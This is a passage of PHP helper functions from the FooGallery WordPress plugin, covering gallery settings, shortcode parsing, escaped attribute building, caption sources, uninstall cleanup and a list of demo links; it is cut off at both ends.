        if ( !empty($current_foogallery) && $current_foogallery->settings && array_key_exists( $settings_key, $current_foogallery->settings ) ) {
            //then get the value out of the saved gallery settings
            $value = $current_foogallery->settings[$settings_key];
        } else {
            //otherwise set it to the default
            $value = $default;
        }
    
    }
    
    $value = apply_filters( 'foogallery_gallery_template_setting-' . $key, $value );
    return $value;
}

/**
 * Get the admin menu parent slug
 * @return string
 */
function foogallery_admin_menu_parent_slug()
{
    return apply_filters( 'foogallery_admin_menu_parent_slug', FOOGALLERY_ADMIN_MENU_PARENT_SLUG );
}

/**
 * Helper function to build up the admin menu Url
 * @param array $extra_args
 *
 * @return string|void
 */
function foogallery_build_admin_menu_url( $extra_args = array() )
{
    $url = admin_url( foogallery_admin_menu_parent_slug() );
    if ( !empty($extra_args) ) {
        $url = add_query_arg( $extra_args, $url );
    }
    return $url;
}

/**
 * Helper function for adding a foogallery sub menu
 *
 * @param $menu_title
 * @param string $capability
 * @param string $menu_slug
 * @param $function
 */
function foogallery_add_submenu_page(
    $menu_title,
    $capability,
    $menu_slug,
    $function
)
{
    add_submenu_page(
        foogallery_admin_menu_parent_slug(),
        $menu_title,
        $menu_title,
        apply_filters( 'foogallery_admin_menu_capability', $capability ),
        $menu_slug,
        $function
    );
}

/**
 * Returns all FooGallery galleries
 *
 * @return FooGallery[] array of FooGallery galleries
 */
function foogallery_get_all_galleries( $excludes = false, $extra_args = false )
{
    $args = array(
        'post_type'     => FOOGALLERY_CPT_GALLERY,
        'post_status'   => array( 'publish', 'draft' ),
        'cache_results' => false,
        'nopaging'      => true,
    );
    if ( is_array( $excludes ) ) {
        $args['post__not_in'] = $excludes;
    }
    if ( is_array( $extra_args ) ) {
        $args = array_merge( $args, $extra_args );
    }
    $gallery_posts = get_posts( $args );
    if ( empty($gallery_posts) ) {
        return array();
    }
    $galleries = array();
    foreach ( $gallery_posts as $post ) {
        $galleries[] = FooGallery::get( $post );
    }
    return $galleries;
}

/**
 * Parse some content and return an array of all gallery shortcodes that are used inside it
 *
 * @param $content The content to search for gallery shortcodes
 *
 * @return array An array of all the foogallery shortcodes found in the content
 */
function foogallery_extract_gallery_shortcodes( $content )
{
    $shortcodes = array();
    $regex_pattern = foogallery_gallery_shortcode_regex();
    if ( preg_match_all( '/' . $regex_pattern . '/s', $content, $matches ) ) {
        for ( $i = 0 ;  $i < count( $matches[0] ) ;  ++$i ) {
            $shortcode = $matches[0][$i];
            $args = $matches[3][$i];
            $attribure_string = str_replace( ' ', '&', trim( $args ) );
            $attribure_string = str_replace( '"', '', $attribure_string );
            $attributes = wp_parse_args( $attribure_string );
            
            if ( array_key_exists( 'id', $attributes ) ) {
                $id = intval( $attributes['id'] );
                $shortcodes[$id] = $shortcode;
            }
        
        }
    }
    return $shortcodes;
}

/**
 * Build up the FooGallery shortcode regex
 *
 * @return string
 */
function foogallery_gallery_shortcode_regex()
{
    $tag = foogallery_gallery_shortcode_tag();
    return '\\[' . '(\\[?)' . "({$tag})" . '(?![\\w-])' . '(' . '[^\\]\\/]*' . '(?:' . '\\/(?!\\])' . '[^\\]\\/]*' . ')*?' . ')' . '(?:' . '(\\/)' . '\\]' . '|' . '\\]' . '(?:' . '(' . '[^\\[]*+' . '(?:' . '\\[(?!\\/\\2\\])' . '[^\\[]*+' . ')*+' . ')' . '\\[\\/\\2\\]' . ')?' . ')' . '(\\]?)';
    // 6: Optional second closing bracket for escaping shortcodes: [[tag]]
}

/**
 * Builds up a class attribute that can be used in a gallery template
 * @param $gallery FooGallery
 *
 * @return string the classname based on the gallery and any extra attributes
 */
function foogallery_build_class_attribute( $gallery )
{
    $classes[] = 'foogallery';
    $classes[] = 'foogallery-container';
    $classes[] = "foogallery-{$gallery->gallery_template}";
    $num_args = func_num_args();
    
    if ( $num_args > 1 ) {
        $arg_list = func_get_args();
        for ( $i = 1 ;  $i < $num_args ;  $i++ ) {
            $classes[] = $arg_list[$i];
        }
    }
    
    $classes = apply_filters( 'foogallery_build_class_attribute', $classes, $gallery );
    //extract any classes from the gallery arguments
    global  $current_foogallery_arguments ;
    
    if ( isset( $current_foogallery_arguments ) && is_array( $current_foogallery_arguments ) ) {
        if ( array_key_exists( 'classname', $current_foogallery_arguments ) ) {
            $classes[] = $current_foogallery_arguments['classname'];
        }
        if ( array_key_exists( 'classes', $current_foogallery_arguments ) ) {
            $classes[] = $current_foogallery_arguments['classes'];
        }
    }
    
    $classes = array_filter( $classes, 'strlen' );
    return implode( ' ', $classes );
}

/**
 * Builds up a SAFE class attribute that can be used in a gallery template
 * @param $gallery FooGallery
 *
 * @return string the classname based on the gallery and any extra attributes
 */
function foogallery_build_class_attribute_safe( $gallery )
{
    $args = func_get_args();
    $result = call_user_func_array( "foogallery_build_class_attribute", $args );
    return esc_attr( $result );
}

/**
 * Renders an escaped class attribute that can be used directly by gallery templates
 *
 * @param $gallery FooGallery
 */
function foogallery_build_class_attribute_render_safe( $gallery )
{
    $args = func_get_args();
    $result = call_user_func_array( "foogallery_build_class_attribute_safe", $args );
    echo  $result ;
}

/**
 * Builds up the attributes that are appended to a gallery template container
 *
 * @param $gallery    FooGallery
 * @param $attributes array
 *
 * @return string
 */
function foogallery_build_container_attributes_safe( $gallery, $attributes )
{
    //add the default gallery id
    $attributes['id'] = $gallery->container_id();
    //add the standard data-foogallery attribute so that the JS initializes correctly
    $attributes['data-foogallery'] = foogallery_build_container_data_options( $gallery, $attributes );
    //allow others to add their own attributes globally
    $attributes = apply_filters( 'foogallery_build_container_attributes', $attributes, $gallery );
    //allow others to add their own attributes for a specific gallery template
    $attributes = apply_filters( 'foogallery_build_container_attributes-' . $gallery->gallery_template, $attributes, $gallery );
    //clean up the attributes to make them safe for output
    $html = '';
    foreach ( $attributes as $key => $value ) {
        $safe_value = esc_attr( $value );
        $html .= "{$key}=\"{$safe_value}\" ";
    }
    return apply_filters(
        'foogallery_build_container_attributes_html',
        $html,
        $attributes,
        $gallery
    );
}

/**
 * Builds up the data-foogallery attribute options that is used by the core javascript
 *
 * @param $gallery
 * @param $attributes
 *
 * @return string
 */
function foogallery_build_container_data_options( $gallery, $attributes )
{
    $options = apply_filters(
        'foogallery_build_container_data_options',
        array(),
        $gallery,
        $attributes
    );
    $options = apply_filters(
        'foogallery_build_container_data_options-' . $gallery->gallery_template,
        $options,
        $gallery,
        $attributes
    );
    return foogallery_json_encode( $options );
}

/**
 * Render a foogallery
 *
 * @param       $gallery_id int The id of the foogallery you want to render
 * @param array $args
 */
function foogallery_render_gallery( $gallery_id, $args = array() )
{
    //create new instance of template engine
    $engine = new FooGallery_Template_Loader();
    $shortcode_args = wp_parse_args( $args, array(
        'id' => $gallery_id,
    ) );
    $engine->render_template( $shortcode_args );
}

/**
 * Returns the available sorting options that can be chosen for galleries and albums
 */
function foogallery_sorting_options()
{
    return apply_filters( 'foogallery_sorting_options', array(
        ''              => __( 'Default', 'foogallery' ),
        'date_desc'     => __( 'Date created - newest first', 'foogallery' ),
        'date_asc'      => __( 'Date created - oldest first', 'foogallery' ),
        'modified_desc' => __( 'Date modified - most recent first', 'foogallery' ),
        'modified_asc'  => __( 'Date modified - most recent last', 'foogallery' ),
        'title_asc'     => __( 'Title - alphabetically', 'foogallery' ),
        'title_desc'    => __( 'Title - reverse', 'foogallery' ),
        'rand'          => __( 'Random', 'foogallery' ),
    ) );
}

function foogallery_sorting_get_posts_orderby_arg( $sorting_option )
{
    $orderby_arg = 'post__in';
    switch ( $sorting_option ) {
        case 'date_desc':
        case 'date_asc':
            $orderby_arg = 'date';
            break;
        case 'modified_desc':
        case 'modified_asc':
            $orderby_arg = 'modified';
            break;
        case 'title_asc':
        case 'title_desc':
            $orderby_arg = 'title';
            break;
        case 'rand':
            $orderby_arg = 'rand';
            break;
    }
    return apply_filters( 'foogallery_sorting_get_posts_orderby_arg', $orderby_arg, $sorting_option );
}

function foogallery_sorting_get_posts_order_arg( $sorting_option )
{
    $order_arg = 'DESC';
    switch ( $sorting_option ) {
        case 'date_asc':
        case 'modified_asc':
        case 'title_asc':
            $order_arg = 'ASC';
            break;
    }
    return apply_filters( 'foogallery_sorting_get_posts_order_arg', $order_arg, $sorting_option );
}

/**
 * @deprecated 1.4.7 Default templates loaded by default and no longer activated via extension
 *
 * Activate the default templates extension when there are no gallery templates loaded
 */
function foogallery_activate_default_templates_extension()
{
    //no longer needed but left in case any 3rd party extensions call this function
    _deprecated_function( __FUNCTION__, '1.4.7' );
}

/**
 * Allow FooGallery to enqueue stylesheet and allow them to be enqueued in the head on the next page load
 *
 * @param $handle string
 * @param $src string
 * @param array $deps
 * @param bool $ver
 * @param string $media
 */
function foogallery_enqueue_style(
    $handle,
    $src,
    $deps = array(),
    $ver = false,
    $media = 'all'
)
{
    $src = apply_filters( 'foogallery_enqueue_style_src', $src, $handle );
    wp_enqueue_style(
        $handle,
        $src,
        $deps,
        $ver,
        $media
    );
    do_action(
        'foogallery_enqueue_style',
        $handle,
        $src,
        $deps,
        $ver,
        $media
    );
}

/**
 * Returns all foogallery post objects that are attached to the post
 *
 * @param $post_id int The ID of the post
 *
 * @return array List of foogallery posts.
 */
function foogallery_get_galleries_attached_to_post( $post_id )
{
    $gallery_ids = get_post_meta( $post_id, FOOGALLERY_META_POST_USAGE, false );
    if ( !empty($gallery_ids) ) {
        return get_posts( array(
            'post_type'      => array( FOOGALLERY_CPT_GALLERY ),
            'post_status'    => array( 'draft', 'publish' ),
            'posts_per_page' => -1,
            'include'        => $gallery_ids,
        ) );
    }
    return array();
}

/**
 * Clears all css load optimization post meta
 */
function foogallery_clear_all_css_load_optimizations()
{
    delete_post_meta_by_key( FOOGALLERY_META_POST_USAGE_CSS );
}

/**
 * Performs a check to see if the plugin has been updated, and perform any housekeeping if necessary
 */
function foogallery_perform_version_check()
{
    $checker = new FooGallery_Version_Check();
    $checker->perform_check();
}

/**
 * Returns the JPEG quality used when generating thumbnails
 *
 * @return int The quality value stored in settings
 */
function foogallery_thumbnail_jpeg_quality()
{
    $quality = intval( foogallery_get_setting( 'thumb_jpeg_quality' ) );
    //check if we get an invalid value for whatever reason and if so return a default of 80
    if ( $quality <= 0 ) {
        $quality = 80;
    }
    return $quality;
}

/**
 * Returns the caption title source setting
 *
 * @return string
 */
function foogallery_caption_title_source()
{
    $source = foogallery_get_setting( 'caption_title_source', 'caption' );
    if ( empty($source) ) {
        $source = 'caption';
    }
    return $source;
}

/**
 * Returns the attachment caption title based on the caption_title_source setting
 *
 * @param WP_Post $attachment_post
 * @param bool $source
 *
 * @return string
 */
function foogallery_get_caption_title_for_attachment( $attachment_post, $source = false )
{
    
    if ( false === $source ) {
        $source = foogallery_gallery_template_setting( 'caption_title_source', false );
        if ( empty($source) || "none" === $source ) {
            $source = foogallery_caption_title_source();
        }
    }
    
    switch ( $source ) {
        case 'title':
            $caption = trim( $attachment_post->post_title );
            break;
        case 'desc':
            $caption = trim( $attachment_post->post_content );
            break;
        case 'alt':
            $caption = trim( get_post_meta( $attachment_post->ID, '_wp_attachment_image_alt', true ) );
            break;
        default:
            $caption = trim( $attachment_post->post_excerpt );
    }
    return apply_filters( 'foogallery_get_caption_title_for_attachment', $caption, $attachment_post );
}

/**
 * Returns the attachment caption title based on the caption_title_source setting
 *
 * @param FooGalleryAttachment $attachment
 * @param string $source
 * @param string $caption_type The type of caption (title or desc)
 *
 * @return string
 */
function foogallery_get_caption_by_source( $attachment, $source, $caption_type )
{
    
    if ( false === $source ) {
        $source = foogallery_gallery_template_setting( 'caption_' . $caption_type . '_source', false );
        if ( empty($source) || "none" === $source ) {
            
            if ( 'title' === $caption_type ) {
                $source = 'caption';
                //bad legacy naming!
            } else {
                $source = $caption_type;
            }
        
        }
    }
    
    switch ( $source ) {
        case 'title':
            $caption = trim( $attachment->title );
            break;
        case 'desc':
            $caption = trim( $attachment->description );
            break;
        case 'alt':
            $caption = trim( $attachment->alt );
            break;
        case 'caption':
        default:
            $caption = trim( $attachment->caption );
    }
    return apply_filters(
        'foogallery_get_caption_by_source',
        $caption,
        $attachment,
        $source,
        $caption_type
    );
}

/**
 * Returns the caption description source setting
 *
 * @return string
 */
function foogallery_caption_desc_source()
{
    $source = foogallery_get_setting( 'caption_desc_source', 'desc' );
    if ( empty($source) ) {
        $source = 'desc';
    }
    return $source;
}

/**
 * Returns the attachment caption description based on the caption_desc_source setting
 *
 * @param WP_Post $attachment_post
 * @param bool $source
 *
 * @return string
 */
function foogallery_get_caption_desc_for_attachment( $attachment_post, $source = false )
{
    
    if ( false === $source ) {
        $source = foogallery_gallery_template_setting( 'caption_desc_source', false );
        if ( empty($source) || "none" === $source ) {
            $source = foogallery_caption_desc_source();
        }
    }
    
    switch ( $source ) {
        case 'title':
            $caption = trim( $attachment_post->post_title );
            break;
        case 'caption':
            $caption = trim( $attachment_post->post_excerpt );
            break;
        case 'alt':
            $caption = trim( get_post_meta( $attachment_post->ID, '_wp_attachment_image_alt', true ) );
            break;
        default:
            $caption = trim( $attachment_post->post_content );
    }
    return apply_filters( 'foogallery_get_caption_desc_for_attachment', $caption, $attachment_post );
}

/**
 * Runs thumbnail tests and outputs results in a table format
 */
function foogallery_output_thumbnail_generation_results()
{
    $thumbs = new FooGallery_Thumbnails();
    try {
        $results = $thumbs->run_thumbnail_generation_tests();
        
        if ( $results['success'] ) {
            echo  '<span style="color:#0c0">' . __( 'Thumbnail generation test ran successfully.', 'foogallery' ) . '</span>' ;
        } else {
            echo  '<span style="color:#c00">' . __( 'Thumbnail generation test failed!', 'foogallery' ) . '</span>' ;
            var_dump( $results['error'] );
            var_dump( $results['file_info'] );
        }
    
    } catch ( Exception $e ) {
        echo  'Exception: ' . $e->getMessage() ;
    }
}

/**
 * Returns the URL to the test image
 *
 * @return string
 */
function foogallery_test_thumb_url()
{
    return apply_filters( 'foogallery_test_thumb_url', FOOGALLERY_URL . 'assets/logo.png' );
}

/**
 * Return all the gallery datasources used within FooGallery
 *
 * @return array
 */
function foogallery_gallery_datasources()
{
    $default_datasource = foogallery_default_datasource();
    $datasources[$default_datasource] = array(
        'id'     => $default_datasource,
        'name'   => __( 'Media Library', 'foogalery' ),
        'label'  => __( 'From Media Library', 'foogallery' ),
        'public' => false,
    );
    return apply_filters( 'foogallery_gallery_datasources', $datasources );
}

/**
 * Returns the default gallery datasource
 *
 * @return string
 */
function foogallery_default_datasource()
{
    return foogallery_get_default( 'datasource', 'media_library' );
}

/**
 * Returns the src to the built-in image placeholder
 * @return string
 */
function foogallery_image_placeholder_src()
{
    return apply_filters( 'foogallery_image_placeholder_src', FOOGALLERY_URL . 'assets/image-placeholder.png' );
}

/**
 * Returns the image html for the built-in image placeholder
 *
 * @param array $args
 *
 * @return string
 */
function foogallery_image_placeholder_html( $args )
{
    if ( !isset( $args ) ) {
        $args = array(
            'width'  => 150,
            'height' => 150,
        );
    }
    $args['src'] = foogallery_image_placeholder_src();
    $args = array_map( 'esc_attr', $args );
    $html = '<img ';
    foreach ( $args as $name => $value ) {
        $html .= " {$name}=" . '"' . $value . '"';
    }
    $html .= ' />';
    return apply_filters( 'foogallery_image_placeholder_html', $html, $args );
}

/**
 * Returns the thumbnail html for the featured attachment for a gallery.
 * If no featured attachment can be found, then a placeholder image src is returned instead
 *
 * @param FooGallery $gallery
 * @param array $args
 *
 * @return string
 */
function foogallery_find_featured_attachment_thumbnail_html( $gallery, $args = null )
{
    if ( !isset( $gallery ) || false === $gallery ) {
        return '';
    }
    if ( !isset( $args ) ) {
        $args = array(
            'width'  => 150,
            'height' => 150,
        );
    }
    $featuredAttachment = $gallery->featured_attachment();
    
    if ( $featuredAttachment ) {
        return $featuredAttachment->html_img( $args );
    } else {
        //if we have no featured attachment, then use the built-in image placeholder
        return foogallery_image_placeholder_html( $args );
    }

}

/**
 * Returns the thumbnail src for the featured attachment for a gallery.
 * If no featured attachment can be found, then a placeholder image src is returned instead
 *
 * @param FooGallery $gallery
 * @param array $args
 *
 * @return string
 */
function foogallery_find_featured_attachment_thumbnail_src( $gallery, $args = null )
{
    if ( !isset( $gallery ) || false === $gallery ) {
        return '';
    }
    if ( !isset( $args ) ) {
        $args = array(
            'width'  => 150,
            'height' => 150,
        );
    }
    $featuredAttachment = $gallery->featured_attachment();
    
    if ( $featuredAttachment ) {
        return $featuredAttachment->html_img_src( $args );
    } else {
        //if we have no featured attachment, then use the built-in image placeholder
        return foogallery_image_placeholder_src();
    }

}

/**
 * Returns the available retina options that can be chosen
 */
function foogallery_retina_options()
{
    return apply_filters( 'foogallery_retina_options', array(
        '2x' => __( '2x', 'foogallery' ),
        '3x' => __( '3x', 'foogallery' ),
        '4x' => __( '4x', 'foogallery' ),
    ) );
}

/**
 * Does a full uninstall of the plugin including all data and settings!
 */
function foogallery_uninstall()
{
    if ( !current_user_can( 'install_plugins' ) ) {
        exit;
    }
    //delete all gallery posts first
    global  $wpdb ;
    $query = "SELECT p.ID FROM {$wpdb->posts} AS p WHERE p.post_type IN (%s)";
    $gallery_post_ids = $wpdb->get_col( $wpdb->prepare( $query, FOOGALLERY_CPT_GALLERY ) );
    
    if ( !empty($gallery_post_ids) ) {
        $deleted = 0;
        foreach ( $gallery_post_ids as $post_id ) {
            $del = wp_delete_post( $post_id );
            if ( false !== $del ) {
                ++$deleted;
            }
        }
    }
    
    //delete all options
    
    if ( is_network_admin() ) {
        delete_site_option( FOOGALLERY_SLUG );
    } else {
        delete_option( FOOGALLERY_SLUG );
    }
    
    delete_option( FOOGALLERY_OPTION_VERSION );
    delete_option( FOOGALLERY_OPTION_THUMB_TEST );
    delete_option( FOOGALLERY_EXTENSIONS_SLUGS_OPTIONS_KEY );
    delete_option( FOOGALLERY_EXTENSIONS_SLUGS_OPTIONS_KEY );
    delete_option( FOOGALLERY_EXTENSIONS_ACTIVATED_OPTIONS_KEY );
    delete_option( FOOGALLERY_EXTENSIONS_ERRORS_OPTIONS_KEY );
    //let any extensions clean up after themselves
    do_action( 'foogallery_uninstall' );
}

/**
 * Returns an attachment field friendly name, based on a field name that is passed in
 *
 * @param $field
 *
 * @return string
 */
function foogallery_get_attachment_field_friendly_name( $field )
{
    switch ( $field ) {
        case 'title':
            return __( 'Attachment Title', 'foogallery' );
        case 'caption':
            return __( 'Attachment Caption', 'foogallery' );
        case 'desc':
            return __( 'Attachment Description', 'foogallery' );
        case 'alt':
            return __( 'Attachment Alt', 'foogallery' );
    }
}

/**
 * Returns the fields for a specific gallery template
 *
 * @param $template mixed
 * @return mixed
 */
function foogallery_get_fields_for_template( $template )
{
    if ( is_string( $template ) ) {
        $template = foogallery_get_gallery_template( $template );
    }
    $fields = $template['fields'];
    // Allow for extensions to override fields for every gallery template.
    // Also passes the $template along so you can inspect and conditionally alter fields based on the template properties
    $fields = apply_filters( 'foogallery_override_gallery_template_fields', $fields, $template );
    // Allow for extensions to override fields for a specific gallery template.
    // Also passes the $template along so you can inspect and conditionally alter fields based on the template properties
    $fields = apply_filters( "foogallery_override_gallery_template_fields-{$template['slug']}", $fields, $template );
    // Easily remove fields.
    $fields_to_remove = apply_filters( 'foogallery_override_gallery_template_fields_remove', array(), $template );
    $fields_to_remove = apply_filters( "foogallery_override_gallery_template_fields_remove-{$template['slug']}", $fields_to_remove );
    // Easily set defaults for fields.
    $override_fields_defaults = apply_filters( 'foogallery_override_gallery_template_fields_defaults', array(), $template );
    $override_fields_defaults = apply_filters( "foogallery_override_gallery_template_fields_defaults-{$template['slug']}", $override_fields_defaults );
    // Easily hide certain fields.
    $fields_to_hide = apply_filters( 'foogallery_override_gallery_template_fields_hidden', array(), $template );
    $fields_to_hide = apply_filters( "foogallery_override_gallery_template_fields_hidden-{$template['slug']}", $fields_to_hide );
    $indexes_to_remove = array();
    foreach ( $fields as $key => &$field ) {
        // Allow for the field to be altered by extensions. Also used by the build-in fields, e.g. lightbox.
        $field = apply_filters( 'foogallery_alter_gallery_template_field', $field, $template['slug'] );
        
        if ( in_array( $field['id'], $fields_to_remove ) ) {
            $indexes_to_remove[] = $key;
        } else {
            // Last time to set field defaults.
            if ( array_key_exists( $field['id'], $override_fields_defaults ) ) {
                $field['default'] = $override_fields_defaults[$field['id']];
            }
            // Make fields invisible.
            
            if ( in_array( $field['id'], $fields_to_hide ) ) {
                // Make sure the field is not visible.
                $field['row_data']['data-foogallery-invisible'] = true;
                // Force the field to not be hidden, which means it's values can be used in previews.
                if ( isset( $field['row_data']['data-foogallery-hidden'] ) ) {
                    unset( $field['row_data']['data-foogallery-hidden'] );
                }
                // Remove the conditionals to FORCE the field to never be shown.
                if ( isset( $field['row_data']['data-foogallery-show-when-field'] ) ) {
                    unset( $field['row_data']['data-foogallery-show-when-field'] );
                }
                if ( isset( $field['row_data']['data-foogallery-show-when-field-value'] ) ) {
                    unset( $field['row_data']['data-foogallery-show-when-field-value'] );
                }
            }
        
        }
    
    }
    // Finally, remove the fields that were marked for removal.
    foreach ( $indexes_to_remove as $index ) {
        unset( $fields[$index] );
    }
    return $fields;
}

/**
 * Builds default settings for the supplied gallery template
 *
 * @param $template_name
 * @return array
 */
function foogallery_build_default_settings_for_gallery_template( $template_name )
{
    $fields = foogallery_get_fields_for_template( $template_name );
    $settings = array();
    //loop through the fields and build up an array of keys and default values
    foreach ( $fields as $field ) {
        $default = ( array_key_exists( 'default', $field ) ? $field['default'] : false );
        if ( !empty($default) ) {
            $settings["{$template_name}_{$field['id']}"] = $default;
        }
    }
    return $settings;
}

/**
 * Returns the choices used for the thumb link field type
 * @return array
 */
function foogallery_gallery_template_field_thumb_link_choices()
{
    return apply_filters( 'foogallery_gallery_template_field_thumb_links', array(
        'image'  => __( 'Full Size Image', 'foogallery' ),
        'page'   => __( 'Image Attachment Page', 'foogallery' ),
        'custom' => __( 'Custom URL', 'foogallery' ),
        'none'   => __( 'Not linked', 'foogallery' ),
    ) );
}

/**
 * Returns the choices used for the lightbox field type
 * @return array
 */
function foogallery_gallery_template_field_lightbox_choices()
{
    $lightboxes = apply_filters( 'foogallery_gallery_template_field_lightboxes', array() );
    $lightboxes['none'] = __( 'None', 'foogallery' );
    return $lightboxes;
}

if ( !function_exists( 'wp_get_raw_referer' ) ) {
    /**
     * Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
     *
     * Do not use for redirects, use {@see wp_get_referer()} instead.
     *
     * @since 1.4.9
     * @return string|false Referer URL on success, false on failure.
     */
    function wp_get_raw_referer()
    {
        
        if ( !empty($_REQUEST['_wp_http_referer']) ) {
            return wp_unslash( $_REQUEST['_wp_http_referer'] );
        } else {
            if ( !empty($_SERVER['HTTP_REFERER']) ) {
                return wp_unslash( $_SERVER['HTTP_REFERER'] );
            }
        }
        
        return false;
    }

}
/**
 * Return the attachments for the currently displayed gallery
 *
 * @return array
 */
function foogallery_current_gallery_attachments_for_rendering()
{
    global  $current_foogallery ;
    $attachments = apply_filters( 'foogallery_gallery_attachments_override_for_rendering', false, $current_foogallery );
    if ( $attachments !== false ) {
        return $attachments;
    }
    //by default, return all attachments
    return $current_foogallery->attachments();
}

/**
 * Return attachment ID from a URL
 *
 * @param $url String URL to the image we are checking
 *
 * @return null or attachment ID
 */
function foogallery_get_attachment_id_by_url( $url )
{
    global  $wpdb ;
    $query = "SELECT ID FROM {$wpdb->posts} WHERE guid=%s";
    $attachment = $wpdb->get_col( $wpdb->prepare( $query, $url ) );
    if ( count( $attachment ) > 0 ) {
        return $attachment[0];
    }
    return null;
}

/**
 * Safer escaping for HTML attributes.
 *
 * @since 1.4.31
 *
 * @param string $text
 * @return string
 */
function foogallery_esc_attr( $text )
{
    $safe_text = wp_check_invalid_utf8( $text );
    $safe_text = _wp_specialchars(
        $safe_text,
        ENT_QUOTES,
        false,
        true
    );
    return $safe_text;
}

/**
 * Create a FooGallery and return the ID
 *
 * @param $template
 * @param $attachment_ids
 *
 * @return int
 */
function foogallery_create_gallery( $template, $attachment_ids )
{
    if ( empty($template) ) {
        $template = foogallery_default_gallery_template();
    }
    //create an empty foogallery
    $foogallery_args = array(
        'post_title'  => 'Demo Gallery',
        'post_type'   => FOOGALLERY_CPT_GALLERY,
        'post_status' => 'publish',
    );
    $gallery_id = wp_insert_post( $foogallery_args );
    //set a gallery template
    add_post_meta(
        $gallery_id,
        FOOGALLERY_META_TEMPLATE,
        $template,
        true
    );
    $settings = array();
    //set default settings if there are any, and also if the template is the same as the default
    
    if ( foogallery_default_gallery_template() === $template ) {
        $default_gallery_id = foogallery_get_setting( 'default_gallery_settings' );
        
        if ( $default_gallery_id ) {
            $settings = get_post_meta( $default_gallery_id, FOOGALLERY_META_SETTINGS, true );
            add_post_meta(
                $gallery_id,
                FOOGALLERY_META_SETTINGS,
                $settings,
                true
            );
        }
    
    }
    
    if ( empty($settings) ) {
        switch ( $template ) {
            case 'masonry':
                $settings = array(
                    'foogallery_items_view'                   => 'preview',
                    'masonry_alignment'                       => 'fg-center',
                    'masonry_border_size'                     => 'fg-border-thin',
                    'masonry_caption_desc_source'             => '',
                    'masonry_caption_title_source'            => '',
                    'masonry_captions_limit_length'           => '',
                    'masonry_custom_settings'                 => '',
                    'masonry_drop_shadow'                     => 'fg-shadow-outline',
                    'masonry_filtering_type'                  => '',
                    'masonry_gutter_width'                    => '10',
                    'masonry_hover_effect_caption_visibility' => 'fg-captions-bottom',
                    'masonry_hover_effect_color'              => '',
                    'masonry_hover_effect_icon'               => 'fg-hover-zoom',
                    'masonry_hover_effect_preset'             => 'fg-custom',
                    'masonry_hover_effect_scale'              => '',
                    'masonry_hover_effect_transition'         => 'fg-hover-fade',
                    'masonry_inner_shadow'                    => '',
                    'masonry_layout'                          => 'fixed',
                    'masonry_lazyload'                        => '',
                    'masonry_lightbox'                        => 'foobox',
                    'masonry_loaded_effect'                   => 'fg-loaded-fade-in',
                    'masonry_loading_icon'                    => 'fg-loading-default',
                    'masonry_paging_type'                     => '',
                    'masonry_rounded_corners'                 => '',
                    'masonry_state'                           => 'no',
                    'masonry_theme'                           => 'fg-dark',
                    'masonry_thumbnail_link'                  => 'image',
                    'masonry_thumbnail_width'                 => '250',
                    'masonry_video_autoplay'                  => 'yes',
                    'masonry_video_hover_icon'                => 'fg-video-default',
                    'masonry_video_size'                      => '640x360',
                    'masonry_video_sticky_icon'               => '',
                );
        }
    }
    add_post_meta(
        $gallery_id,
        FOOGALLERY_META_SETTINGS,
        $settings,
        true
    );
    $attachments = explode( ',', $attachment_ids );
    update_post_meta( $gallery_id, FOOGALLERY_META_ATTACHMENTS, $attachments );
    return $gallery_id;
}

/**
 * Returns an array of marketing demos
 * @return array
 */
function foogallery_marketing_demos()
{
    $demos = array();
    $demos[] = array(
        'demo'    => __( 'Responsive Image Gallery', 'foogallery' ),
        'section' => __( 'Standard Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/responsive-image-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Masonry Image Gallery', 'foogallery' ),
        'section' => __( 'Standard Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/masonry-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Justified Gallery', 'foogallery' ),
        'section' => __( 'Standard Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/justified-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Image Viewer Gallery', 'foogallery' ),
        'section' => __( 'Standard Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/image-viewer-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Simple Portfolio Gallery', 'foogallery' ),
        'section' => __( 'Standard Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/wordpress-portfolio-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Single Thumbnail Gallery', 'foogallery' ),
        'section' => __( 'Standard Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/single-thumbnail-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Grid PRO Gallery', 'foogallery' ),
        'section' => __( 'PRO Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/grid-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Polaroid PRO Gallery', 'foogallery' ),
        'section' => __( 'PRO Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/polaroid-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Slider PRO Gallery', 'foogallery' ),
        'section' => __( 'PRO Gallery Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/slider-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Hover Presets Demo', 'foogallery' ),
        'section' => __( 'PRO Features', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/hover-presets/',
    );
    $demos[] = array(
        'demo'    => __( 'Filtering Demos', 'foogallery' ),
        'section' => __( 'PRO Features', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/filtering/',
    );
    $demos[] = array(
        'demo'    => __( 'Pagination Types Demo', 'foogallery' ),
        'section' => __( 'PRO Features', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/pagination/',
    );
    $demos[] = array(
        'demo'    => __( 'Video Gallery Demos', 'foogallery' ),
        'section' => __( 'PRO Features', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/video-gallery/',
    );
    $demos[] = array(
        'demo'    => __( 'Bulk Copy (admin)', 'foogallery' ),
        'section' => __( 'PRO Features', 'foogallery' ),
